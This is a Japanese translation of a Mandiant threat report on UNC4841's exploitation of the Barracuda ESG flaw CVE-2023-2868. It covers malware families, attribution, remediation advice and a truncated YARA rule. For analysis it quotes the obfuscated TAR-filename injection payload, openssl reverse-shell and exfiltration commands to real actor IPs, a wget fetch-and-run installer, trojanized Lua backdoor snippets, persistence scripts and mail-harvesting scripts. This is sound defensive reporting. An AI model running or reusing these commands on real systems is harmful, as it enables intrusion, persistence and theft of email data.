中国との関連が疑われる攻撃的、かつ高度なスキルを持つ攻撃者が Barracuda ESGのゼロデイ脆弱性(CVE-2023-2868)を悪用
Mandiant
※この投稿は米国時間 2023 年 6 月 15 日に、Google Cloud blog に投稿されたものの抄訳です。
2023年5月23日、Barracudaは同社のEメールゲートウェイ「Barracuda Email Security Gateway(ESG)」のゼロデイ脆弱性(CVE-2023-2868)が2022年10月の時点で悪用されており、その調査のためにMandiantに支援を依頼したことを発表しました。Mandiantは調査を通じて、中国との関連が疑われる攻撃者を特定しました。この攻撃者は、現在UNC4841として追跡されており、世界中のさまざまな地域および業界にまたがるスパイ活動の初期侵入経路としてBarracuda ESGアプライアンスのサブセットをターゲットにしています。Mandiantは、中華人民共和国を支援するこの広範な攻撃キャンペーン活動の背後にいるのはUNC4841であると、高い確信を持って評価しています。
UNC4841は、早ければ2022年10月10日から、CVE-2023-2868を悪用して脆弱なBarracuda ESGアプライアンスの初期アクセスを取得するように設計された悪意のあるファイルの添付ファイルを含むメール(図2を参照)を被害組織に送信しました。キャンペーン期間中、UNC4841は、CVE-2023-2868の悪用に成功した後、ESGアプライアンス上で存在を確立および維持するために、主に3つの主要なコードファミリを使用していました。これらのコードファミリ(SALTWATER、SEASPY、SEASIDE)は、UNC4841の侵入活動のほとんどで確認されています。Barracudaの報告で説明されているように、3つのコードファミリはすべて、正規のBarracuda ESGモジュールまたはサービスへのなりすましを試みており、UNC4841は新たに確認されたマルウェアファミリでもこの傾向を継続しています。このブログポストでは、その詳細が初めて説明されます。
最初の侵害後、MandiantとBarracudaは、UNC4841が特定のデータを積極的なターゲットにしており、場合によってはESGアプライアンスへのアクセスを活用して、水平展開して被害組織のネットワークに侵入したり、他の被害組織のアプライアンスにメールを送信したりすることを確認しました。Mandiantはまた、UNC4841がESGアプライアンス上のプレゼンスを維持するために追加のツールを展開するのを観察しています。
2023年5月19日、UNC4841の活動がBarracudaチームによって最初に発見され、2023年5月21日にBarracudaは、影響を受けるアプライアンスからUNC4841を根絶することを目的とした封じ込めと修復のためのパッチのリリースを開始しました。このような取り組みに対して、UNC4841は迅速にマルウェアを変更し、アクセスを維持するために追加の永続性メカニズムを採用しました。
2023年5月22日から2023年5月24日にかけて、UNC4841は、少なくとも16カ国で多数の被害組織を標的に高頻度の攻撃活動を行いました。Mandiantは、このキャンペーンは世界中の官民両方の組織に影響を及ぼしており、その約3分の1が政府機関への攻撃であることを確認しています(図5を参照)。
2023年6月6日、Barracudaは影響を受けたすべてのBarracudaの顧客に対して、侵害されたアプライアンスを直ちに分離し、交換することを推奨するガイダンスを再度発表しました。またMandiantは、特定された攻撃者が継続的な攻撃活動のために永続性を維持することや、ESGアプライアンスから水平方向に移動する能力を示していることを踏まえ、影響を受けたネットワーク内でのさらなる調査とハンティングを行うことを推奨しています。
この後のセクションでは、調査の過程でBarracudaとMandiantが明らかにした技術的な詳細として、ESGアプライアンスの脆弱性を悪用した初期侵入、展開されたマルウェア、およびBarracudaの修復作業に対するUNC4841のTTP(戦術、技術、および手順)の変化について説明します。このブログは、Mandiantのアトリビューションに関する初期評価で締めくくられ、影響を受けた組織に対するハードニング、修復、およびハンティングのための推奨事項を示しています。
Mandiantは、UNC4841によるCVE-2023-2868の悪用後のBarracudaの毅然とした行動、透明性、および情報共有を称賛します。UNC4841によるこの脆弱性の悪用への対応とその後の調査には、Mandiant、Barracuda、およびその他複数の政府機関や情報機関のパートナーの協力が必要でした。Mandiantの調査は、ESGアプライアンスの全製品からのテレメトリデータだけでなく、製品に関する貴重な知識を提供してくれたバラクーダのエンジニアによる専門知識がなければ実現なし得ませんでした。Barracudaから提供されたデータによってMandiantは全容を理解し、大規模な調査を実施し、その後の攻撃者の活動を監視することができました。
図1:侵入のタイムライン
CVE-2023-2868
CVE-2023-2868は、Barracuda Email Security Gateway(アプライアンス形式のみ)のバージョン5.1.3.001-9.2.0.006に存在するリモートコマンドインジェクションの脆弱性で、メールの添付ファイルをスクリーニングする際に存在します。
コマンドインジェクションの脆弱性は、TARファイルを処理するための解析ロジックに存在します。製品内の以下のコードが脆弱性の焦点となります:
qx{$tarexec -O -xf $tempdir/parts/$part '$f'};
これは事実上、Perlのqx{}ルーチンを通してシステム・コマンドとして実行される$f変数を介した、サニタイズされずフィルタリングされていないユーザー制御の入力に相当します。fは、TAR内のアーカイブされたファイルのファイル名を含むユーザー制御変数です。その結果、UNC4841はTARファイルを特定の方法でフォーマットし、Email Security Gateway製品の権限でリモートからシステムコマンドを実行するコマンドインジェクション攻撃を引き起こすことができました。
初期アクセス
UNC4841は、CVE-2023-2868を悪用して脆弱なBarracuda ESGアプライアンスに初期アクセスするように設計された特別に細工されたTARファイルの添付ファイルを含むメールを、2022年10月10日の早い段階から被害組織に送信していました。最初のメールでは、UNC4841はファイル名に「.tar」という拡張子を持つファイルを添付していましたが、後のメールでは「.jpg」や「.dat」といった異なる拡張子を使用していました。ファイル拡張子にかかわらず、観測された添付ファイルは、CVE-2023-2868を悪用する有効なTARファイルでした。
観測された電子メールには、一般的な電子メールの件名と本文のコンテンツが含まれており、通常は文法が不完全で、場合によっては未完成の内容が含まれていました。Mandiantは、UNC4841がスパムフィルターによってフラグを立てられたり、セキュリティアナリストによる詳細な調査を行うことを妨げる目的で、メッセージの本文と件名を一般的なスパムのように見せかけるよう細工した可能性が高いと評価しています。この手口は、Mandiantが過去に観測したゼロデイ脆弱性を悪用する高度なグループが用いているのと同じ手口です。
いくつかの例を図2に示します。
図2a: UNC4841がCVE-2023-2868を悪用した添付ファイル付きで送信した電子メール
図2b: UNC4841がCVE-2023-2868を悪用した添付ファイル付きで送信した電子メール
図2c:CVE-2023-2868を悪用した添付ファイル付きでUNC4841から送信された電子メール
UNC4841は、標的のアプライアンスに電子メールを配信するために、いくつかの異なる方法を使用しました。いくつかのケースでは、UNC4841は存在しないドメインを偽装してメールの "from "アドレスを使用していました。他のケースでは、Mandiantは、使用されていない可能性が高いドメインや、あるいは攻撃者が管理しているのではないと思われるドメインのアドレスを使用していることを確認しました。
メールヘッダの分析に基づき、MandiantはVultr VPSサーバ(216.238.112[.]82)からメールを送信している攻撃者を特定しました。あるケースでは、電子メールのヘッダーが、China Telecom(101.229.146[.]218)に割り当てられたIPアドレスから発信された電子メールであることを示していました。さらに、Mandiantは、x-mailerヘッダーにメールクライアントが使用されていることを確認しました。このメールクライアントは、普及率が低く、別の中国に関連するスパイ攻撃者がフィッシングメールを送信するために使用していることが確認されています。
またMandiantは、この攻撃者が、侵害されたBarracuda ESGアプライアンスを所有していることが判明した組織に属するメールアドレスを使用していたことを示すエクスプロイトメールも入手しています。さらに、UNC4841は、侵害されたアプライアンスから電子メールを送信して、他の侵害されたアプライアンス上のバックドア化されたモジュールを悪用したり、そのモジュールと相互作用したりすることが観察されました。決定的な証拠はありませんが、影響を受けたアプライアンスのサブセットで実行されたアーティファクトによると、UNC4841は、電子メールを送信するためのコマンドラインユーティリティであると思われる「CSmtp」という名前のユーティリティを使用しているようです。
なお、本稿執筆時点では、MandiantはUNC4841によって送信されたエクスプロイトメールのごく一部のサブセットしか確認していません。そのため、これらの調査結果は、この攻撃者が送信したすべてのメールを代表するものではない可能性があります。
リバース・シェル
UNC4841のTARファイル添付ファイルは、Barracuda ESGのCVE-2023-2868を悪用して、この攻撃者が標的とする特定のESGアプライアンス上でリバースシェルペイロードを実行します。現在までに回収された悪意のあるTARファイルは、すべて5つのアーカイブファイルから構成されており、そのうちの4つは実行チェーンに何の意味も持たず、エクスプロイトには使用されていないと思われます。脆弱性はこのファイル名の解析に存在するため、アーカイブされたファイルの内容は問題ではなく、ランダムな文字列で構成されています。
エクスプロイトのペイロード(ファイル名)は、バックスティック(`)とシングルクォート(')で囲まれており、コマンド置換の形でコマンドインジェクションを誘発します。復元されたTARアーカイブの1つに含まれるファイルの例を以下に示します:
'`abcdefg=c2V0c2lkIHNoIC1jICJta2ZpZm8gL3RtcC9wO3NoIC1pIDwvdG1wL3AgMj4mMXxvc
GVuc3NsIHNfY2xpZW50IC1xdWlldCAtY29ubmVjdCAxMDcuMTQ4LjE0OS4xNTY6ODA4MC
A+L3RtcC9wIDI+L2Rldi9udWxsO3JtIC90bXAvcCI=;ee=ba;G=s;_ech_o $abcdefg_${ee}se64
-d_${G}h;wh66489.txt`'
一旦暗号化解除されると、ペイロードは以下のフォーマットを含み、変数$abcdefgはbase64エンコードされた文字列で、デコードされ実行されます:
abcdefg=c2V0c2lkIH…;echo $abcdefg | base64 -d | sh
実行されるbase64ペイロードの例
setsid sh -c "mkfifo /tmp/p;sh -i </tmp/p 2>&1|openssl s_client -quiet -connect 107.148.149[.]156:8080 >/tmp/p 2>/dev/null;rm /tmp/p"
この一連のシェルコマンドは、以下の動作を実現します:
- setsid
- 新しいセッションを実行し、ターミナルから切り離す。これにより、ターミナルが閉じられてしまっても、次のコマンドは実行され続ける。
- mkfifo /tmp/p
- tmp/pに名前付きパイプを作成し、サーバーから実行するコマンドを転送するためのストレージとして使用する。
- sh -i &1
- 新しい対話型(-i)シェルを作成し、その入力を先ほど作成した名前付きパイプからリダイレクトする。2>&1 はエラー出力を標準出力にリダイレクトする。
- openssl s_client -quiet -connect 107.148.149[.]156:8080 >/tmp/p 2>/dev/null
- OpenSSLは、指定されたIPアドレスとポート(ここでは107.148.149[.]156:8080)に接続するクライアントを作成するために使用される。quietオプションは、セッションと証明書情報の出力を抑制するために使用します。このコマンドの標準出力は指定したパイプにリダイレクトされ、エラー出力は破棄される(2>/dev/null)。
- rm /tmp/p
- OpenSSLコネクションが閉じられた後、名前付きパイプを削除してクリーンアップする。
Mandiantはまた、この攻撃者が侵害後に同様のリバースシェルペイロードを持つシェルスクリプトを展開することも確認しています。名前付きパイプのパスはさまざまですが、通常は1文字または数字であることに注意してください。たとえば、/tmp/p、/tmp/p7、/tmp/t などです。
限られたケースではありますが、MandiantはUNC4841がアクセスした後にPythonを使ってbashシェルを起動するコマンドを実行することも確認しています:
python -c import pty;pty.spawn("/bin/bash")
バックドア ペイロード
アプライアンスにアクセスした後、UNC4841はwgetコマンドを実行し、サーバ上のオープンディレクトリからセカンダリバックドアペイロードをダウンロードしました。場合によっては、UNC4841は個々のマルウェア・ファイルを直接ダウンロードしました。他のケースでは、Mandiantは、バックドアのペイロードを含むTARファイルを、それらをインストールして永続化するためのシェルスクリプトとともにダウンロードすることを確認しました。SALTWATERセカンダリペイロードをダウンロード、展開、実行するためのwgetコマンドの例を以下に示します:
sh -c wget --no-check-certificate
https://107.148.219[.]53:443/install_reuse/install_reuse.tar;tar -xvf
install_reuse.tar;chmod +x update_v35.sh;./update_v35.sh
この一連のシェルコマンドは、以下の動作を可能にします:
- wget --no-check-certificate https://107.148.219[.]53:443/install_reuse/install_reuse.tar
- SSL/TLS証明書チェックを無視してtarアーカイブをダウンロードする
- tar -xvf install_reuse.tar
- アーカイブを展開する
- chmod +x update_v35.sh
- マルウェアのインストーラー・シェルスクリプトの実行権限を有効にする
- ./update_v35.sh
- マルウェアのインストーラーを実行する
Mandiantはまた、UNC4841がwgetを使用してtemp[.]shでホストされているURLからRARおよびZIPペイロードをダウンロードしようとしているのを確認しましたが、これらの試みは失敗し、Mandiantは分析のためにこれらのペイロードを取得することはできませんでした。
現在までの調査の過程で、MandiantとBarracudaは、UNC4841が使用している3つの主要なバックドアを特定しました: SEASPY、SALTWATER、SEASIDEです。
SEASPYは、キャンペーン全体を通じてUNC4841によって展開されている主要なバックドアです。SEASPYは、ポートTCP/25(SMTP)およびTCP/587上のPCAPフィルタとして自身を確立し、「マジックパケット」によって起動されるパッシブバックドアです。Mandiantの分析では、SEASPYと一般公開されているバックドアであるcd00rのコード重複が確認されている。
SEASPYの初期の実装は、解凍されるとシンボルが維持され、ファイル名配下でインストールされました:
- BarracudaMailService
バラクーダのパッチの後、Mandiantは、UNC4841がSEASPYを更新し、バイナリ内のシンボルを削除し、マルウェアをUPXでパックし、コマンド&コントロール(C2)サーバへのリバースシェルを確立する際に認証を使用することを確認しました。UNC4841はこの更新された亜種をファイル名で展開しました:
- resize2fstab
- resize_reisertab
図3はSEASPYのクリティカル・アタック・パスを示しています。
図3:SEASPYの攻撃経路
SALTWATERは、バックドア機能を持つBarracuda SMTPデーモン(bsmtpd)のモジュールです。
SALTWATERは、任意のファイルをアップロードまたはダウンロードし、コマンドを実行し、プロキシおよびトンネリング機能を備えています。バックドアは、サードパーティのkubo/funchookフッキングライブラリを介して、send、recv、closeシステムコールのフックを使用して実装されており、バイナリ内で「チャネル」と呼ばれる5つのコンポーネントの大部分を占めています。バックドアとプロキシ機能を提供するだけでなく、これらのコンポーネントは古典的なバックドア機能を示しています。
5つのチャネル:
- DownloadChannel
- UploadChannel
- ProxyChannel
- ShellChannel
- TunnelArgs
UNC4841は、SALTWATERを展開する際、悪意のある活動をさらに隠すためにタイムストンプを繰り返し利用しています。UNC4841はまた、SEASIDEを展開する際にもタイムストンプを利用していることが確認されています。
さらに、2023年5月21日から2023年5月22日の間、バラクーダによる最初の修復スクリプトの展開の直後に、UNC4841は、パッチが効果的に適用されないようにするために、SEASPYとSALTWATERの両方の関連コンポーネントに迅速に変更を加えました。2023年5月22日から2023年5月24日の間には、UNC4841は少なくとも16カ国にいる多数の被害者に対して高頻度で活動を行い、SEASPYの7つのコンポーネントとSALTWATERの少なくとも2つのコンポーネントを変更しました。
SEASIDEはBarracuda SMTPデーモン(bsmtpd)用のLuaベースのモジュールで、SMTP HELO/EHLOコマンドを監視して、エンコードされたC2 IPアドレスとポートを受信し、それをデコードして、リバースシェルを確立する外部バイナリ(WHIRLPOOL)に引数として渡します。
SANDBARは、トロイの木馬化されたlinux用ネットワークファイルシステムカーネルモジュール(nfsd_stub.ko)の形をしたルートキットであり、指定された名前で始まるプロセスを隠すフックを含んでいます。SANDBARは、/procファイルシステムがクエリされたときに表示されるプロセスIDを隠します。SANDBARは、/procファイルシステムの "file_operations "構造体の "iterate_shared "ルーチンと、それに続く "filldir "コールバックをフックしてプロセスを隠すことができます。これは、一般に公開されているルートキットのコードを流用したものと思われます。
Mandiantが分析したSANDBARサンプルは、"Bar "という名前で始まるプロセスを隠すように設定されていました。これは、"BarracudaMailService "という名前で展開されたSEASPYマルウェアを隠すために設計された可能性があります。ネットワークセキュリティを担当する方は、ESGがSANDBARに感染し、この方法でプロセスを非表示にしている場合、プロセスリストのコマンド出力またはログソースに、UNC4841によって展開されたマルウェアのプロセスが含まれていない可能性があることに注意する必要があります。
トロイの木馬化されたLUAモジュール
UNC4841は、バックドアのインストールに加えて、アプライアンスによって特定のメール関連イベントが受信されたときに実行される追加のコールバックロジックを挿入することで、複数の正規のBarracuda LUAモジュールをトロイの木馬化しました。2つの異なるマルウェア・ファミリー - SEASPRAYとSKIPJACK - を追跡した被害者グループにおいて、合計3つのトロイの木馬化モジュールが確認されました。
SEASPRAYは、トロイの木馬化されたBarracudaメールセキュリティゲートウェイモジュールであるLuaで記述されたランチャです。SEASPRAYは受信メールの添付ファイルに対するイベントハンドラを登録します。添付ファイルのファイル名に特殊な値が含まれている場合、SEASPRAYはそのファイルを/tmpディレクトリにコピーし、フルパスをパラメータとしてリバースシェルを確立する外部バイナリ(WHIRLPOOL)を実行します。SEASPRAYを識別するLuaモジュールのコアの修正は、以下のスニペットに含まれています:
if string.find(attachment:filename(),'<REDACTED>') ~= nil then
os.execute('cp '..tostring(tmpfile)..' /tmp/'..attachment:filename())
os.execute('rverify'..' /tmp/'..attachment:filename())
end
Mandiantはまた、送信者のブロック/アクセプト機能を実装するモジュールに挿入されたSEASPRAYコードの亜種を発見しました
if string.find(sender,"<REDACTED>") ~= nil then
os.execute('saslautchd'..' '..sender)
end
WHIRLPOOLは、TLSリバースシェルを作成するためのCベースのユーティリティです。WHIRLPOOLは、与えられたファイルパスである単一のCLI引数か、与えられたIPとPortである2つの引数を使用する。Mandiantは、WHIRLPOOLがSEASPRAYおよびSEASIDEとともに使用されていることを確認している。異なる被害者セットでは、異なるコールバック・メソッドが使用されていた。これは、発見される可能性を減らすために行われた可能性もありますし、新しいファイルを作成するのではなく、すでにシステム上にある既存のスクリプトを活用するために行われた可能性もあります。
SKIPJACKは、メールを処理するBarracudaメールセキュリティゲートウェイモジュールのトロイの木馬化バージョンであるLuaで記述されたパッシブバックドアです。SKIPJACKは、受信メールのヘッダーと件名のリスナーを登録し、"Content-ID "ヘッダーフィールドの内容をデコードして実行します。SKIPJACKは、電子メールのヘッダーを処理するリスナーへの以下のコードの挿入から構成されます(読みやすいように再フォーマットされています):
if hdr:name() == "Content-ID" then
if hdr:body() ~= nil then
if string.match(hdr:body(), "^[%w%+/=\r\n]+$") then
io.popen("echo " " .. hdr:body() .. "" | openssl aes-256-cbc -d -A -a -nosalt -K <REDACTED> -iv <REDACTED> 2>/dev/null | base64 -d | sh 2>/dev/null"):close()
End
end
end
Content-ID "フィールドの値は、正規表現 "^[%w%+/=rrn]+$" と照合され、Base64エンコードされていることが確認されます。これらの条件が満たされた場合、SKIPJACKはopensslを使用してコンテンツをAES復号化し、復号化されたデータをBase64デコードし、シェルコマンドとして実行します。opensslコマンドは以下のフラグを設定:
- aes-256-cbc
- 使用する暗号化アルゴリズムを指定する。この場合、暗号ブロック連鎖(CBC)モードで256ビットのキーを持つAES(Advanced Encryption Standard)を使用
- -d
- コマンドが復号化を実行することを示す。提供されたデータは、指定されたアルゴリズムとキーを使って復号化される
- -A
- 復号化を行う前に、入力をBase64エンコーディングからデコードする。入力データはBase64形式であることが前提。
- -a
- 復号化後の出力をBase64形式でエンコードする。復号化されたデータはBase64エンコーディングで表示される。
- -nosalt
- ソルト値の使用を無効にする。ソルトは暗号化で一般的に使用され、ランダム性を追加してセキュリティを向上させる。
- -K
- 使用する暗号化キーを指定する。この場合、キーは16進数の値""で指定される。キーは、選択した暗号化アルゴリズムに適した長さでなければならない。
- -iv
- 使用する初期化ベクター(IV)を指定する。
要約すると、OpenSSLコマンドは、特定のキーと初期化ベクトルを持つCBCモードのAES-256を使って入力データを復号化します。入力はBase64エンコードされていると仮定され、出力もBase64エンコードされる。このコマンドはソルト値を使用しません。
コマンド&コントロール・インフラ
UNC4841が使用するインフラストラクチャでは、セットアップを目的としてESGアプライアンスに搭載されているデフォルトの自己署名SSL一時証明書がホストされていることが確認されています。これは、UNC4841がリバースシェルのトラフィックをBarracudaインフラストラクチャへの正規の通信として偽装しようとしていたものと考えられます。
SHA-256: 6d1d7fe5be6f1db2d7aa2af2b53ef40c2ac06954d983bb40590944c4d00b6e57
SHA-1: 51f7900806f0783f09d45d5017a89322afeb3fc3
MD5: be5b6b52780d35f1392f45d96beb868c
Subject DN: C=US, ST=California, L=Campbell, O=Barracuda Networks, OU=Engineering, CN=Barracuda/emailAddress=sales@barracuda.com
Issuer DN: C=US, ST=California, L=Campbell, O=Barracuda Networks, OU=Engineering, CN=Barracuda/emailAddress=sales@barracuda.com
Serial Number: 0x2
Validity Period: 2011-09-29 to 2031-09-24
Mandiantは、侵害されたBarracudaアプライアンスから顧客がアップロードしたSSL証明書をUNC4841が流出することを確認しました(以下参照):
sh -c openssl s_client -quiet -connect 107.148.219[.]55:443 < /home/product/code/config/ssl_signed_cert.pem 2>&1
Mandiantは、UNC4841のインフラストラクチャ上に被害組織の正規の証明書と思われるものがホストされているケースをいくつか観測しています。このケースでは、攻撃者は被害組織自身がSSL証明書を設定したアプライアンスから、同じパス上に存在したこれらの証明書を抽出した可能性が高いと考えられます。
また、以下の証明書のように、攻撃者がデフォルト値で生成した自己署名証明書を単純に使用していたケースもありました:
SHA-256: 6b60c1c833979494caff32bf02391793ac85f533516367f12a1cea857bbacba7
SHA-1: 0ea7adb0b54d8bada0a8dc41ef4a9b255691d1ba
MD5: 683acdb559bbc7fb64431d1f579a8104
Subject DN: C=XX, L=Default City, O=Default Company Ltd
Issuer DN: C=XX, L=Default City, O=Default Company Ltd
Serial Number: 0xf3616b5e0e362361
Validity Period: 2022-11-30 to 2023-11-30
複数のケースで、UNC4841は、侵害されたBarracudaアプライアンスからリバースシェル通信を確立するために、IPアドレスではなくドメインを使用していました。インフラストラクチャの分析を通じて、Mandiantは中国との関連が疑われる他のスパイ活動に繋がるインフラストラクチャとの重なりをいくつか特定しました。このことは、同じグループが両方の攻撃活動の背後にいるのではなく、インフラの調達をサポートするエンティティを共有していることを示すとMandiantは推測しています。中国との関連性があるサイバースパイ活動は、ツールやインフラを共有することが多いため、この観察はUNC4841が中国に関連するものであるという我々の評価を強化するものです。また、UNC4841は短期間のコマンド&コントロールIPアドレスに解決するパークドメインを利用していると考えられています。この技法は、中国との関連が疑われる他のスパイ活動でも使用されていますが、中国の攻撃者特有のものではありません
永続的なアクセス維持の手法
調査の過程で、MandiantはUNC4841が侵害したアプライアンス上でアクセスの永続性を維持しようと試みたいくつかの方法を特定しました。永続性を維持するための最初の試みは、1時間ごとおよび1日ごとのcronジョブを介して最初のリバースシェルを実行することでした。これらのcronジョブは、以下のパスに配置されていました:
- /etc/cron.hourly/core.sh
- /etc/cron.hourly/aacore.sh
- /etc/cron.hourly/appcheck.sh
- /etc/cron.daily/core.sh
- /etc/cron.daily/core_check.sh
UNC4841は、/etc/init.d/rcに以下を追加することにより、アプライアンスの再起動時にSEASPYを持続的に実行:
- eth0
etc/init.d/rcに永続性を設定するため、以下のスクリプトを利用
echo -e '/sbin/BarracudaMailService eth0' >> /etc/init.d/rc
cat /etc/init.d/rc
touch /etc/init.d/rc -r /etc/init.d/reboot
chmod +x /sbin/BarracudaMailService
setsid sh -c "/sbin/BarracudaMailService eth0" &
echo "set the bvp ok"
rm intentbas
...
それ以降の繰り返しの作業では、UNC4841は、アプライアンスが実行するupdate_version Perlスクリプトに以下のコマンドを挿入することで、SEASPYの持続的な実行を維持:
- system(" eth0")
このスクリプトの名前にかかわらず、これはBarracuda ESGのファームウェアアップデートやパッチの通常の適用におけるコンポーネントではありません。
また、UNC4841はSANDBARカーネルルートキットを以下の場所に配置し、起動時に実行されるようにしました:
- /lib/modules/4.9.17-barracuda0/kernel/net/sunrpc/nfsd_stub.ko
不正流出
侵害を受けた ESG アプライアンスのサブセットにおいて、UNC4841 による電子メール関連データのデー タのステージングと流出が確認されました。ほとんどの場合、UNC4841は/mail/tmp/ディレクトリ内の.tar.gzファイルにデータをステージングし、被害組織に対応する3文字の後に001などの数字が続く一貫したファイル命名規則を利用していました。
ステージングが完了すると、UNC4841はopensslを活用して.tar.gzファイルを攻撃者が管理するインフラストラクチャに流出させました。ステージングされたデータの流出に活用されたコマンドの例は以下:
sh -c openssl s_client -quiet -connect 137.175.51[.]147:443 < /mail/tmp/<REDACTED>.tar.gz 2>&1
さらに、一部のEメールセキュリティゲートウェイ(ESG)アプライアンス上で、Mandiantは、特定のユーザーまたはメールドメインに一致するメールを「mstore」で検索し、その結果を流出用にステージングするUNC4841が使用するシェルスクリプトを回収しました。mstore」は、電子メール・メッセージがアプライアンスに一時的に保存される場所です。この活動は、UNC4841による他の電子メール収集活動とは異なり、特定の個人または組織に基づく電子メールデータの標的型収集活動です。アカウントレベルで特定されたターゲットには、台湾や香港の有名な学者、東南アジアのアジアやヨーロッパの政府高官などが含まれていました。
以下のスクリプト1.shは、"mstore "を検索し、ユーザーの電子メールを流出させるために使用されました:
path="/mail/mstore/"
includeContentKeyword="<REDACTED>@\|<REDACTED>@\|@<REDACTED>\|<REDACTED>@\|<REDACTED>@\|<REDACTED>@\|<REDACTED>@\|"
excludeFileNameKeyword="*.log"
find ${path} -type f ! -name $excludeFileNameKeyword | while read line ;
do
result=`head -20 ${line} | grep $includeContentKeyword`
if [ -n "$result" ]
then
echo ${line} >> tmplist
fi
done
tar -T /mail/mstore/tmplist -czvf /mail/mstore/tmp.tar.gz
この攻撃者が使用した別のスクリプト start.sh:
#!/bin/bash
mkdir /usr/share/.uc/<REDACTED>
grep -lrn '<REDACTED>@' /mail/mstore | xargs -i cp {} /usr/share/.uc/<REDACTED>
mkdir /usr/share/.uc/<REDACTED>
grep -lrn '<REDACTED>@' /mail/mstore | xargs -i cp {} /usr/share/.uc/<REDACTED>
mkdir /usr/share/.uc/<REDACTED>
grep -lrn '<REDACTED>@' /mail/mstore | xargs -i cp {} /usr/share/.uc/<REDACTED>
mkdir /usr/share/.uc/<REDACTED>
grep -lrn '<REDACTED>@' /mail/mstore | xargs -i cp {} /usr/share/.uc/<REDACTED>
mkdir /usr/share/.uc/<REDACTED>
grep -lrn '<REDACTED>@' /mail/mstore | xargs -i cp {} /usr/share/.uc/<REDACTED>
Mandiantは、いくつかのケースでUNC4841がファイル共有サービス「anonfiles」を流出手段として利用するのを観察しました。
水平展開
UNC4841は、一部のケースで偵察活動を実施していることが観察されています。これらのケースでは、ホスト検出、ポートスキャン、ウェブフィンガープリント識別、ウェブ脆弱性スキャン、ドメイン制御識別、およびその他の機能を対象としたfscanのようなオープンソースツールを利用していました。下図はfscanツールの出力例です。ある環境では、攻撃者は9日間にわたって50以上のサブネットをスキャンし、その約80%は1日で完了しました。
<redacted>::25 open
<redacted>:25 open
<redacted>:587 open
<redacted>:443 open
[*] NetInfo:
[*]<redacted>
[->]<redacted>
[->]<redacted>
[*] WebTitle: https://<redacted> code:200 len:701 title:IIS Windows Server
<redacted>:25 open
<redacted>:443 open
[*] LiveTop <redacted>/16 段存活数量为: 65
[*] LiveTop <redacted>/16 段存活数量为: 26
[*] LiveTop <redacted>/16 段存活数量为: 13
<redacted>:25 open
<redacted>:587 open
<redacted>:53 open
<redacted>:389 open
標的組織
標的となった組織は、官民を問わず世界中に及んでいます。エクスプロイト活動の大部分は米国に集中しているように見えるが、これは製品の顧客基盤を反映している可能性もあります(図4)。
図4:攻撃の対象となった組織の地域別割合
特定された被害組織のほぼ3分の1が政府機関であり(図5)、このキャンペーンがスパイ活動を動機としていたという評価を裏付けています。さらに、データ流出の対象として重点的に狙われたケースでは、ASEAN外務省(MFA)、台湾および香港の外国貿易事務所、学術研究機関の電子メールドメインおよびユーザーを標的としたシェルスクリプトが発見されました。攻撃者はまた、被害対象となったこの政府が他国とのハイレベルな外交会議に参加しているのと同じタイミングで、中国との政治的または戦略的利害関係を持つ政府で働く個人の電子メールアカウントを探索しました。
図5:標的となった組織の官民の割合
分析をしている時点で入手可能な証拠によると、初期の侵害行為は中国本土に所在するごく一部のアプライアンスで発生したようです。この初期の侵害行為で使用された C2 通信は、8080 ポートも利用していましたが、その後、世界各地で発生した侵害行為では、ほとんどポート 443 またはポート 25 が利用されていました。
アトリビューション
Mandiantは、UNC4841が中華人民共和国を支援するスパイ活動を行ったと高い確信を持って評価しています。現時点では、この活動を既知の脅威グループに帰属させることはできませんが、いくつかのインフラストラクチャとマルウェアコードの重複を確認した結果、これは中国に関連するスパイ活動であると高い確信を持っています。さらに、組織レベルでも個人アカウントレベルでも、標的は中国、特に台湾を含むアジア太平洋地域の政策優先度の高い問題に集中していました。
展望と影響
UNC4841は、防御的な取り組みに非常に敏感に反応し、TTPを積極的に変更して活動を維持することがわかっています。Mandiantでは、影響を受けたBarracudaのお客様に、この攻撃者の探索と被害を受けたネットワークの調査を継続することを強く推奨しています。UNC4841は、特にネットワークのセキュリティ担当者がこの攻撃者への対策を講じ、その活動が情報セキュリティコミュニティによって公開されるのに伴い、さらにそのTTPを変更し、ツールキットを修正し続けることが予想されます。推奨事項および検出ルールは、以下のセクションで説明します。
推奨事項
Barracudaから2023年5月31日にリリースされたガイダンスに沿って、Mandiantは、パッチレベルに関係なく、侵害されたESGアプライアンスを直ちに交換することを推奨しています。影響を受けたアプライアンスを交換するための追加のガイダンスは、Barracudaのバラクーダの Trust Centerでご確認ください。
さらにMandiantでは、影響を受けたすべての組織に対して、ネットワーク内での調査とハンティング活動を実施することを推奨しています。調査には以下が含まれますが、これらに限定されるものではありません:
- MandiantとBarracudaの両方が提供するすべてのIOCの影響を受ける環境を調査する。
- メールログをレビューして、最初の侵害ポイントを特定する。
- 侵害時にESG上にあったすべてのドメインベースおよびローカル認証情報を失効させ、ローテーションする。
- 侵害時にESG上にあったすべての証明書を失効させ、再発行する。
- 侵害時に ESG 上にあった認証情報が使用されていないか、環境全体を監視する。
- 侵害時に ESG 上にあった証明書が使用されていないか、環境全体を監視する。
- ネットワーク・ログをレビューし、データ流出や水平展開の兆候を確認する。
- アプライアンスのフォレンジック・イメージをキャプチャし、フォレンジック分析を実施する。
- 物理アプライアンス・モデルは、標準的な手順に従ってイメージ化できます。ほとんどのモデルには、RAID1 構成のホットスワップ可能なドライブが 2 台搭載されています。
- 提供されている YARA ルールをアプライアンスのイメージに適用することで、フォレンジック調査者を支援することができます。
影響を受けた組織の調査を支援するため、Mandiantはこれまでに観測されたIOCをまとめたものを発表しています。
またMandiantは、このブログ記事と併せて、本件に対応する組織を支援するための詳細なアーキテクチャ・ハードニングガイドを作成しました。この文書には、以下の主要項目に関するガイダンスが含まれています:
- ネットワーク通信の制限
- パッチとアップデート
- クレデンシャルのローテーションとセグメンテーション
- ロギングとハンティング
- インフラの水平展開へのハードニング
謝 辞
CVE-2023-2868の悪用に関連するケースでお客様を支援するため、記載した著者以外にも数十人のコンサルタントおよびアナリストが活動しています。また、Barracidaのインシデントレスポンスチーム、Mandiant FLAREチーム、Mandiant Adversary MethodsのJakub Jozwiak、およびMandiant Incident ResponseのFernando Tomlinson、Josh Villanueva、Alyssa Glickmanの貴重なサポートにも特に感謝します
Indicators of Compromise (IOCs)
Network IOCs
Endpoint IOCs
Detection Rules
YARA Rules
rule M_Hunting_Exploit_Archive_2
{
meta:
author = "Mandiant"
description = "Hunting rule looking for TAR archives with /tmp/ base64 encoded being part of filename of enclosed files"
md5 = "0d67f50a0bf7a3a017784146ac41ada0"
strings:
$ustar = { 75 73 74 61 72 }
